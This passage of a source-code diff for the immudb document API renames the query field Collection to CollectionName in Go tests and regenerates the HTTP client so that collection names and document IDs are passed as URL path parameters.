engine.GetDocuments(ctx, &protomodel.Query{Collection: collectionName}, 0) + reader, err := engine.GetDocuments(ctx, &protomodel.Query{CollectionName: collectionName}, 0) require.NoError(t, err) defer reader.Close() @@ -938,7 +938,7 @@ func TestPaginationOnReader(t *testing.T) { t.Run("test reader for multiple reads", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -993,7 +993,7 @@ func TestDeleteDocument(t *testing.T) { require.NoError(t, err) query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -1100,7 +1100,7 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { t.Run("order by single field", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 69d164c813..a70c93c379 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -57,11 +57,9 @@ type ImmudbmodelOpenSessionResponse struct { // ModelAuditDocumentRequest defines model for modelAuditDocumentRequest. type ModelAuditDocumentRequest struct { - Collection string `json:"collection"` - Desc *bool `json:"desc,omitempty"` - DocumentId string `json:"documentId"` - Page int64 `json:"page"` - PageSize int64 `json:"pageSize"` + Desc *bool `json:"desc,omitempty"` + Page int64 `json:"page"` + PageSize int64 `json:"pageSize"` } // ModelAuditDocumentResponse defines model for modelAuditDocumentResponse. @@ -91,7 +89,6 @@ type ModelCreateCollectionRequest struct { DocumentIdFieldName *string `json:"documentIdFieldName,omitempty"` Fields *[]ModelField `json:"fields,omitempty"` Indexes *[]ModelIndex `json:"indexes,omitempty"` - Name string `json:"name"` } // ModelCreateCollectionResponse defines model for modelCreateCollectionResponse. @@ -99,9 +96,8 @@ type ModelCreateCollectionResponse = map[string]interface{} // ModelCreateIndexRequest defines model for modelCreateIndexRequest. type ModelCreateIndexRequest struct { - Collection string `json:"collection"` - Fields *[]string `json:"fields,omitempty"` - IsUnique *bool `json:"isUnique,omitempty"` + Fields *[]string `json:"fields,omitempty"` + IsUnique *bool `json:"isUnique,omitempty"` } // ModelCreateIndexResponse defines model for modelCreateIndexResponse. @@ -118,12 +114,6 @@ type ModelDeleteDocumentsRequest struct { // ModelDeleteDocumentsResponse defines model for modelDeleteDocumentsResponse. type ModelDeleteDocumentsResponse = map[string]interface{} -// ModelDeleteIndexRequest defines model for modelDeleteIndexRequest. -type ModelDeleteIndexRequest struct { - Collection string `json:"collection"` - Fields *[]string `json:"fields,omitempty"` -} - // ModelDeleteIndexResponse defines model for modelDeleteIndexResponse. type ModelDeleteIndexResponse = map[string]interface{} @@ -175,8 +165,7 @@ type ModelIndex struct { // ModelInsertDocumentsRequest defines model for modelInsertDocumentsRequest. type ModelInsertDocumentsRequest struct { - Collection string `json:"collection"` - Documents *[]map[string]interface{} `json:"documents,omitempty"` + Documents *[]map[string]interface{} `json:"documents,omitempty"` } // ModelInsertDocumentsResponse defines model for modelInsertDocumentsResponse. @@ -199,8 +188,6 @@ type ModelOrderByClause struct { // ModelProofDocumentRequest defines model for modelProofDocumentRequest. type ModelProofDocumentRequest struct { - Collection string `json:"collection"` - DocumentId string `json:"documentId"` ProofSinceTransactionId *string `json:"proofSinceTransactionId,omitempty"` TransactionId *string `json:"transactionId,omitempty"` } @@ -216,7 +203,6 @@ type ModelProofDocumentResponse struct { // ModelQuery defines model for modelQuery. type ModelQuery struct { - Collection string `json:"collection"` Expressions *[]ModelQueryExpression `json:"expressions,omitempty"` Limit *int64 `json:"limit,omitempty"` OrderBy *[]ModelOrderByClause `json:"orderBy,omitempty"` @@ -240,10 +226,17 @@ type ModelReplaceDocumentsResponse struct { // ModelSearchDocumentsRequest defines model for modelSearchDocumentsRequest. type ModelSearchDocumentsRequest struct { + KeepOpen *bool `json:"keepOpen,omitempty"` Page int64 `json:"page"` PageSize int64 `json:"pageSize"` Query *ModelQuery `json:"query,omitempty"` - SearchId *string `json:"searchId,omitempty"` +} + +// ModelSearchDocumentsRequestWith defines model for modelSearchDocumentsRequestWith. +type ModelSearchDocumentsRequestWith struct { + KeepOpen *bool `json:"keepOpen,omitempty"` + Page int64 `json:"page"` + PageSize int64 `json:"pageSize"` } // ModelSearchDocumentsResponse defines model for modelSearchDocumentsResponse. @@ -483,6 +476,11 @@ type SchemaZEntry struct { Set *[]byte `json:"set,omitempty"` } +// DeleteIndexParams defines parameters for DeleteIndex. +type DeleteIndexParams struct { + Fields *[]string `form:"fields,omitempty" json:"fields,omitempty"` +} + // CloseSessionJSONRequestBody defines body for CloseSession for application/json ContentType. type CloseSessionJSONRequestBody = ModelCloseSessionRequest @@ -492,35 +490,35 @@ type KeepAliveJSONRequestBody = ModelKeepAliveRequest // OpenSessionJSONRequestBody defines body for OpenSession for application/json ContentType. type OpenSessionJSONRequestBody = ImmudbmodelOpenSessionRequest -// CreateCollectionJSONRequestBody defines body for CreateCollection for application/json ContentType. -type CreateCollectionJSONRequestBody = ModelCreateCollectionRequest - -// UpdateCollectionJSONRequestBody defines body for UpdateCollection for application/json ContentType. -type UpdateCollectionJSONRequestBody = ModelUpdateCollectionRequest +// SearchDocumentsWithJSONRequestBody defines body for SearchDocumentsWith for application/json ContentType. +type SearchDocumentsWithJSONRequestBody = ModelSearchDocumentsRequestWith // InsertDocumentsJSONRequestBody defines body for InsertDocuments for application/json ContentType. type InsertDocumentsJSONRequestBody = ModelInsertDocumentsRequest -// AuditDocumentJSONRequestBody defines body for AuditDocument for application/json ContentType. -type AuditDocumentJSONRequestBody = ModelAuditDocumentRequest - // DeleteDocumentsJSONRequestBody defines body for DeleteDocuments for application/json ContentType. type DeleteDocumentsJSONRequestBody = ModelDeleteDocumentsRequest -// ProofDocumentJSONRequestBody defines body for ProofDocument for application/json ContentType. -type ProofDocumentJSONRequestBody = ModelProofDocumentRequest - // ReplaceDocumentsJSONRequestBody defines body for ReplaceDocuments for application/json ContentType. type ReplaceDocumentsJSONRequestBody = ModelReplaceDocumentsRequest // SearchDocumentsJSONRequestBody defines body for SearchDocuments for application/json ContentType. type SearchDocumentsJSONRequestBody = ModelSearchDocumentsRequest +// AuditDocumentJSONRequestBody defines body for AuditDocument for application/json ContentType. +type AuditDocumentJSONRequestBody = ModelAuditDocumentRequest + +// ProofDocumentJSONRequestBody defines body for ProofDocument for application/json ContentType. +type ProofDocumentJSONRequestBody = ModelProofDocumentRequest + // CreateIndexJSONRequestBody defines body for CreateIndex for application/json ContentType. type CreateIndexJSONRequestBody = ModelCreateIndexRequest -// DeleteIndexJSONRequestBody defines body for DeleteIndex for application/json ContentType. -type DeleteIndexJSONRequestBody = ModelDeleteIndexRequest +// UpdateCollectionJSONRequestBody defines body for UpdateCollection for application/json ContentType. +type UpdateCollectionJSONRequestBody = ModelUpdateCollectionRequest + +// CreateCollectionJSONRequestBody defines body for CreateCollection for application/json ContentType. +type CreateCollectionJSONRequestBody = ModelCreateCollectionRequest // RequestEditorFn is the function signature for the RequestEditor callback function type RequestEditorFn func(ctx context.Context, req *http.Request) error @@ -610,64 +608,67 @@ type ClientInterface interface { OpenSession(ctx context.Context, body OpenSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // GetCollections request - GetCollections(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) + // SearchDocumentsWith request with any body + SearchDocumentsWithWithBody(ctx context.Context, searchId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - // CreateCollection request with any body - CreateCollectionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + SearchDocumentsWith(ctx context.Context, searchId string, body SearchDocumentsWithJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - CreateCollection(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // InsertDocuments request with any body + InsertDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - // DeleteCollection request - DeleteCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) + InsertDocuments(ctx context.Context, collectionName string, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // GetCollection request - GetCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) + // DeleteDocuments request with any body + DeleteDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - // UpdateCollection request with any body - UpdateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + DeleteDocuments(ctx context.Context, collectionName string, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - UpdateCollection(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // ReplaceDocuments request with any body + ReplaceDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - // InsertDocuments request with any body - InsertDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + ReplaceDocuments(ctx context.Context, collectionName string, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // SearchDocuments request with any body + SearchDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - InsertDocuments(ctx context.Context, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + SearchDocuments(ctx context.Context, collectionName string, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) // AuditDocument request with any body - AuditDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + AuditDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - AuditDocument(ctx context.Context, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + AuditDocument(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // DeleteDocuments request with any body - DeleteDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // ProofDocument request with any body + ProofDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - DeleteDocuments(ctx context.Context, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + ProofDocument(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - // ProofDocument request with any body - ProofDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // DeleteIndex request + DeleteIndex(ctx context.Context, collectionName string, params *DeleteIndexParams, reqEditors ...RequestEditorFn) (*http.Response, error) - ProofDocument(ctx context.Context, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // CreateIndex request with any body + CreateIndexWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - // ReplaceDocuments request with any body - ReplaceDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + CreateIndex(ctx context.Context, collectionName string, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - ReplaceDocuments(ctx context.Context, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // DeleteCollection request + DeleteCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) - // SearchDocuments request with any body - SearchDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // GetCollection request + GetCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) - SearchDocuments(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // UpdateCollection request with any body + UpdateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - // CreateIndex request with any body - CreateIndexWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + UpdateCollection(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) - CreateIndex(ctx context.Context, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + // GetCollections request + GetCollections(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) - // DeleteIndex request with any body - DeleteIndexWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + // CreateCollection request with any body + CreateCollectionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) - DeleteIndex(ctx context.Context, body DeleteIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + CreateCollection(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) } func (c *Client) CloseSessionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { @@ -742,8 +743,8 @@ func (c *Client) OpenSession(ctx context.Context, body OpenSessionJSONRequestBod return c.Client.Do(req) } -func (c *Client) GetCollections(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewGetCollectionsRequest(c.Server) +func (c *Client) SearchDocumentsWithWithBody(ctx context.Context, searchId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewSearchDocumentsWithRequestWithBody(c.Server, searchId, contentType, body) if err != nil { return nil, err } @@ -754,8 +755,8 @@ func (c *Client) GetCollections(ctx context.Context, reqEditors ...RequestEditor return c.Client.Do(req) } -func (c *Client) CreateCollectionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCreateCollectionRequestWithBody(c.Server, contentType, body) +func (c *Client) SearchDocumentsWith(ctx context.Context, searchId string, body SearchDocumentsWithJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewSearchDocumentsWithRequest(c.Server, searchId, body) if err != nil { return nil, err } @@ -766,8 +767,8 @@ func (c *Client) CreateCollectionWithBody(ctx context.Context, contentType strin return c.Client.Do(req) } -func (c *Client) CreateCollection(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCreateCollectionRequest(c.Server, body) +func (c *Client) InsertDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewInsertDocumentsRequestWithBody(c.Server, collectionName, contentType, body) if err != nil { return nil, err } @@ -778,8 +779,8 @@ func (c *Client) CreateCollection(ctx context.Context, body CreateCollectionJSON return c.Client.Do(req) } -func (c *Client) DeleteCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDeleteCollectionRequest(c.Server, name) +func (c *Client) InsertDocuments(ctx context.Context, collectionName string, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewInsertDocumentsRequest(c.Server, collectionName, body) if err != nil { return nil, err } @@ -790,8 +791,8 @@ func (c *Client) DeleteCollection(ctx context.Context, name string, reqEditors . return c.Client.Do(req) } -func (c *Client) GetCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewGetCollectionRequest(c.Server, name) +func (c *Client) DeleteDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDeleteDocumentsRequestWithBody(c.Server, collectionName, contentType, body) if err != nil { return nil, err } @@ -802,8 +803,8 @@ func (c *Client) GetCollection(ctx context.Context, name string, reqEditors ...R return c.Client.Do(req) } -func (c *Client) UpdateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewUpdateCollectionRequestWithBody(c.Server, name, contentType, body) +func (c *Client) DeleteDocuments(ctx context.Context, collectionName string, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDeleteDocumentsRequest(c.Server, collectionName, body) if err != nil { return nil, err } @@ -814,8 +815,20 @@ func (c *Client) UpdateCollectionWithBody(ctx context.Context, name string, cont return c.Client.Do(req) } -func (c *Client) UpdateCollection(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewUpdateCollectionRequest(c.Server, name, body) +func (c *Client) ReplaceDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewReplaceDocumentsRequestWithBody(c.Server, collectionName, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) ReplaceDocuments(ctx context.Context, collectionName string, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewReplaceDocumentsRequest(c.Server, collectionName, body) if err != nil { return nil, err } @@ -826,8 +839,8 @@ func (c *Client) UpdateCollection(ctx context.Context, name string, body UpdateC return c.Client.Do(req) } -func (c *Client) InsertDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewInsertDocumentsRequestWithBody(c.Server, contentType, body) +func (c *Client) SearchDocumentsWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewSearchDocumentsRequestWithBody(c.Server, collectionName, contentType, body) if err != nil { return nil, err } @@ -838,8 +851,8 @@ func (c *Client) InsertDocumentsWithBody(ctx context.Context, contentType string return c.Client.Do(req) } -func (c *Client) InsertDocuments(ctx context.Context, body InsertDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewInsertDocumentsRequest(c.Server, body) +func (c *Client) SearchDocuments(ctx context.Context, collectionName string, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewSearchDocumentsRequest(c.Server, collectionName, body) if err != nil { return nil, err } @@ -850,8 +863,8 @@ func (c *Client) InsertDocuments(ctx context.Context, body InsertDocumentsJSONRe return c.Client.Do(req) } -func (c *Client) AuditDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewAuditDocumentRequestWithBody(c.Server, contentType, body) +func (c *Client) AuditDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewAuditDocumentRequestWithBody(c.Server, collectionName, documentId, contentType, body) if err != nil { return nil, err } @@ -862,8 +875,8 @@ func (c *Client) AuditDocumentWithBody(ctx context.Context, contentType string, return c.Client.Do(req) } -func (c *Client) AuditDocument(ctx context.Context, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewAuditDocumentRequest(c.Server, body) +func (c *Client) AuditDocument(ctx context.Context, collectionName string, documentId string, body AuditDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewAuditDocumentRequest(c.Server, collectionName, documentId, body) if err != nil { return nil, err } @@ -874,8 +887,8 @@ func (c *Client) AuditDocument(ctx context.Context, body AuditDocumentJSONReques return c.Client.Do(req) } -func (c *Client) DeleteDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDeleteDocumentsRequestWithBody(c.Server, contentType, body) +func (c *Client) ProofDocumentWithBody(ctx context.Context, collectionName string, documentId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewProofDocumentRequestWithBody(c.Server, collectionName, documentId, contentType, body) if err != nil { return nil, err } @@ -886,8 +899,8 @@ func (c *Client) DeleteDocumentsWithBody(ctx context.Context, contentType string return c.Client.Do(req) } -func (c *Client) DeleteDocuments(ctx context.Context, body DeleteDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDeleteDocumentsRequest(c.Server, body) +func (c *Client) ProofDocument(ctx context.Context, collectionName string, documentId string, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewProofDocumentRequest(c.Server, collectionName, documentId, body) if err != nil { return nil, err } @@ -898,8 +911,8 @@ func (c *Client) DeleteDocuments(ctx context.Context, body DeleteDocumentsJSONRe return c.Client.Do(req) } -func (c *Client) ProofDocumentWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewProofDocumentRequestWithBody(c.Server, contentType, body) +func (c *Client) DeleteIndex(ctx context.Context, collectionName string, params *DeleteIndexParams, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDeleteIndexRequest(c.Server, collectionName, params) if err != nil { return nil, err } @@ -910,8 +923,8 @@ func (c *Client) ProofDocumentWithBody(ctx context.Context, contentType string, return c.Client.Do(req) } -func (c *Client) ProofDocument(ctx context.Context, body ProofDocumentJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewProofDocumentRequest(c.Server, body) +func (c *Client) CreateIndexWithBody(ctx context.Context, collectionName string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCreateIndexRequestWithBody(c.Server, collectionName, contentType, body) if err != nil { return nil, err } @@ -922,8 +935,8 @@ func (c *Client) ProofDocument(ctx context.Context, body ProofDocumentJSONReques return c.Client.Do(req) } -func (c *Client) ReplaceDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewReplaceDocumentsRequestWithBody(c.Server, contentType, body) +func (c *Client) CreateIndex(ctx context.Context, collectionName string, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCreateIndexRequest(c.Server, collectionName, body) if err != nil { return nil, err } @@ -934,8 +947,8 @@ func (c *Client) ReplaceDocumentsWithBody(ctx context.Context, contentType strin return c.Client.Do(req) } -func (c *Client) ReplaceDocuments(ctx context.Context, body ReplaceDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewReplaceDocumentsRequest(c.Server, body) +func (c *Client) DeleteCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDeleteCollectionRequest(c.Server, name) if err != nil { return nil, err } @@ -946,8 +959,8 @@ func (c *Client) ReplaceDocuments(ctx context.Context, body ReplaceDocumentsJSON return c.Client.Do(req) } -func (c *Client) SearchDocumentsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewSearchDocumentsRequestWithBody(c.Server, contentType, body) +func (c *Client) GetCollection(ctx context.Context, name string, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewGetCollectionRequest(c.Server, name) if err != nil { return nil, err } @@ -958,8 +971,8 @@ func (c *Client) SearchDocumentsWithBody(ctx context.Context, contentType string return c.Client.Do(req) } -func (c *Client) SearchDocuments(ctx context.Context, body SearchDocumentsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewSearchDocumentsRequest(c.Server, body) +func (c *Client) UpdateCollectionWithBody(ctx context.Context, name string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewUpdateCollectionRequestWithBody(c.Server, name, contentType, body) if err != nil { return nil, err } @@ -970,8 +983,8 @@ func (c *Client) SearchDocuments(ctx context.Context, body SearchDocumentsJSONRe return c.Client.Do(req) } -func (c *Client) CreateIndexWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCreateIndexRequestWithBody(c.Server, contentType, body) +func (c *Client) UpdateCollection(ctx context.Context, name string, body UpdateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewUpdateCollectionRequest(c.Server, name, body) if err != nil { return nil, err } @@ -982,8 +995,8 @@ func (c *Client) CreateIndexWithBody(ctx context.Context, contentType string, bo return c.Client.Do(req) } -func (c *Client) CreateIndex(ctx context.Context, body CreateIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewCreateIndexRequest(c.Server, body) +func (c *Client) GetCollections(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewGetCollectionsRequest(c.Server) if err != nil { return nil, err } @@ -994,8 +1007,8 @@ func (c *Client) CreateIndex(ctx context.Context, body CreateIndexJSONRequestBod return c.Client.Do(req) } -func (c *Client) DeleteIndexWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDeleteIndexRequestWithBody(c.Server, contentType, body) +func (c *Client) CreateCollectionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCreateCollectionRequestWithBody(c.Server, contentType, body) if err != nil { return nil, err } @@ -1006,8 +1019,8 @@ func (c *Client) DeleteIndexWithBody(ctx context.Context, contentType string, bo return c.Client.Do(req) } -func (c *Client) DeleteIndex(ctx context.Context, body DeleteIndexJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { - req, err := NewDeleteIndexRequest(c.Server, body) +func (c *Client) CreateCollection(ctx context.Context, body CreateCollectionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCreateCollectionRequest(c.Server, body) if err != nil { return nil, err } @@ -1138,16 +1151,34 @@ func NewOpenSessionRequestWithBody(server string, contentType string, body io.Re return req, nil } -// NewGetCollectionsRequest generates requests for GetCollections -func NewGetCollectionsRequest(server string) (*http.Request, error) { +// NewSearchDocumentsWithRequest calls the generic SearchDocumentsWith builder with application/json body +func NewSearchDocumentsWithRequest(server string, searchId string, body SearchDocumentsWithJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewSearchDocumentsWithRequestWithBody(server, searchId, "application/json", bodyReader) +} + +// NewSearchDocumentsWithRequestWithBody generates requests for SearchDocumentsWith with any type of body +func NewSearchDocumentsWithRequestWithBody(server string, searchId string, contentType string, body io.Reader) (*http.Request, error) { var err error + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "searchId", runtime.ParamLocationPath, searchId) + if err != nil { + return nil, err + } + serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/collections") + operationPath := fmt.Sprintf("/collection/documents/search/%s", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1157,35 +1188,44 @@ func NewGetCollectionsRequest(server string) (*http.Request, error) { return nil, err } - req, err := http.NewRequest("GET", queryURL.String(), nil) + req, err := http.NewRequest("POST", queryURL.String(), body) if err != nil { return nil, err } + req.Header.Add("Content-Type", contentType) + return req, nil } -// NewCreateCollectionRequest calls the generic CreateCollection builder with application/json body -func NewCreateCollectionRequest(server string, body CreateCollectionJSONRequestBody) (*http.Request, error) { +// NewInsertDocumentsRequest calls the generic InsertDocuments builder with application/json body +func NewInsertDocumentsRequest(server string, collectionName string, body InsertDocumentsJSONRequestBody) (*http.Request, error) { var bodyReader io.Reader buf, err := json.Marshal(body) if err != nil { return nil, err } bodyReader = bytes.NewReader(buf) - return NewCreateCollectionRequestWithBody(server, "application/json", bodyReader) + return NewInsertDocumentsRequestWithBody(server, collectionName, "application/json", bodyReader) } -// NewCreateCollectionRequestWithBody generates requests for CreateCollection with any type of body -func NewCreateCollectionRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { +// NewInsertDocumentsRequestWithBody generates requests for InsertDocuments with any type of body +func NewInsertDocumentsRequestWithBody(server string, collectionName string, contentType string, body io.Reader) (*http.Request, error) { var err error + var pathParam0 string + + pathParam0, err = runtime.StyleParamWithLocation("simple", false, "collectionName", runtime.ParamLocationPath, collectionName) + if err != nil { + return nil, err + } + serverURL, err := url.Parse(server) if err != nil { return nil, err } - operationPath := fmt.Sprintf("/collections") + operationPath := fmt.Sprintf("/collection/%s/documents", pathParam0) if operationPath[0] == '/' { operationPath = "." + operationPath } @@ -1205,13 +1245,24 @@ func NewCreateCollectionRequestWithBody(server string, contentType string, body return req, nil } -// NewDeleteCollectionRequest generates requests for DeleteCollection -func NewDeleteCollectionRequest(server string, name string) (*http.Request, error) { +// NewDeleteDocumentsRequest calls the generic DeleteDocuments builder with application/json body +func NewDeleteDocumentsRequest(server string, collectionName string, body DeleteDocumentsJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return 